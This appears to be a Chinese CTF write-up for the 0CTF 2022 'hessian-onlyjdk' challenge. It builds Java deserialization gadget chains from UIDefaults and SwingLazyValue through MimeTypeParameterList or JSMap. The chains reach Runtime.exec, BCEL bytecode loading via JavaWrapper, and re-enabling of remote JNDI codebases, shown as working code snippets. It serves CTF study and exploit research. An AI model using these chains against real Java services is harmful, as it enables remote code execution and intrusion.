[TCTF/0CTF2022]hessian-onlyjdk

这题找了很多资料

首先需要看懂 XStream CVE-2021-21346 链子的由来 https://x-stream.github.io/CVE-2021-21346.html

其次学会网鼎杯那道 hessian 构造不合理的序列化数据触发 toString

XStream CVE-2021-21346

首先,理解那一段序列化 XML 数据的构造从何而来

这里有一个小 tip

看官网对于 CVE-2021-21346 描述中,有 ysomap 字样

其实就可以到 ysomap 项目中找到和这个 CVE 相关的信息

再或者,也可以通过查找此 CVE 中几个关键类,找到其他人的分析文章

CVE-2021-21346 触发的是 JNDI 注入,这需要 jdk8 版本不能太高,而此题 onlyjdk 版本到了 jdk1.8.342 属于是使用不了 jndi

此链的核心部分为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:8085/u"}));
Class<?> aClass = Class.forName("javax.swing.MultiUIDefaults");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(UIDefaults[].class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(new Object[]{new UIDefaults[]{uiDefaults}});
o.toString();
}
/*
javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()
*/
  1. MultiUIDefaults 是 protected 类,无法在 hessian 中利用
  2. jdk 版本过高,无法利用 jndi

然后看 SwingLazyValue 是如何调用 doLoopup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public SwingLazyValue(String c, String m, Object[] o) {
className = c;
methodName = m;
if (o != null) {
args = o.clone();
}
}

public Object createValue(final UIDefaults table) {
try {
ReflectUtil.checkPackageAccess(className);
Class<?> c = Class.forName(className, true, null);
if (methodName != null) {
Class[] types = getClassArray(args);
Method m = c.getMethod(methodName, types);
makeAccessible(m);
return m.invoke(c, args);
} else {
Class[] types = getClassArray(args);
Constructor constructor = c.getConstructor(types);
makeAccessible(constructor);
return constructor.newInstance(args);
}
} catch (Exception e) {
// Ideally we would throw an exception, unfortunately
// often times there are errors as an initial look and // feel is loaded before one can be switched. Perhaps a // flag should be added for debugging, so that if true // the exception would be thrown. }
return null;
}

也就是说 SwingLazyValue 可以调用任意的静态函数或任意对象的构造函数(不能加载自定义的对象)

1
2
3
4
new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:8085/u"}).createValue(new UIDefaults());

Runtime runtime = (Runtime) new SwingLazyValue("java.lang.Runtime", null,null).createValue(new UIDefaults());
runtime.getRuntime().exec("calc");
  1. hessian 反序列化 -> xxx.toString(√)
  2. xxx.toString -> UIDefaults.get(x)
  3. SwingLazyValue.createValue -> 任意的静态函数或任意对象的构造函数(x)

xxx.toString -> UIDefaults.get

toString 调用 get 好像在哪看过

使用 codeql 来找一找

找到了 MimeTypeParameterList

1
2
3
4
5
6
7
8
public static void main(String[] args) throws Exception {
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:8085/u"}));
uiDefaults.get("aaa");
Reflections.setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);
mimeTypeParameterList.toString();
}

还有好几个,CodeQl 牛蛙牛蛙

sun.jvm.hotspot.utilities.soql.JSMap

1
2
3
4
5
6
7
public static void main(String[] args) throws Exception {
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("tel", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:8085/u"}));

JSMap jsMap = new JSMap(uiDefaults,new JSJavaFactoryImpl());
jsMap.toString();
}

xxx=”MimeTypeParameterList” || “JSMap”

SwingLazyValue.createValue -> 任意的静态函数或任意对象的构造函数

https://github.com/waderwu/My-CTF-Challenges/blob/master/0ctf-2022/hessian-onlyJdk/writeup/readme.md

JavaUtils.writeBytesToFilename -> System.load

此链被 ban 了

System.setProperty -> JNDI 注入

在 jdk 高版本下,可以通过执行这条代码,之后可无视 jndi 高版本进行 JNDi 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
......
public static void setProperties(Properties props) {
SecurityManager sm = getSecurityManager();
if (sm != null) {
sm.checkPropertiesAccess();
}
if (props == null) {
props = new Properties();
initProperties(props);
}
System.props = props;
}

MethodUtil.invoke -> Runtime.exec

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) throws Exception {
String cmd = "calc";
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Runtime.class.getMethod("exec", String.class);
SwingLazyValue swingLazyValue = new SwingLazyValue(
"sun.reflect.misc.MethodUtil",
"invoke",
new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{cmd}}});
swingLazyValue.createValue(new UIDefaults());
}

JavaWrapper._main -> runMain -> evil._main

1
2
3
byte[] bytes = Files.readAllBytes(Paths.get("target\\test-classes\\evil.class"));
String code = Utility.encode(bytes,true);
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{"$$BCEL$$"+code,"s"}}));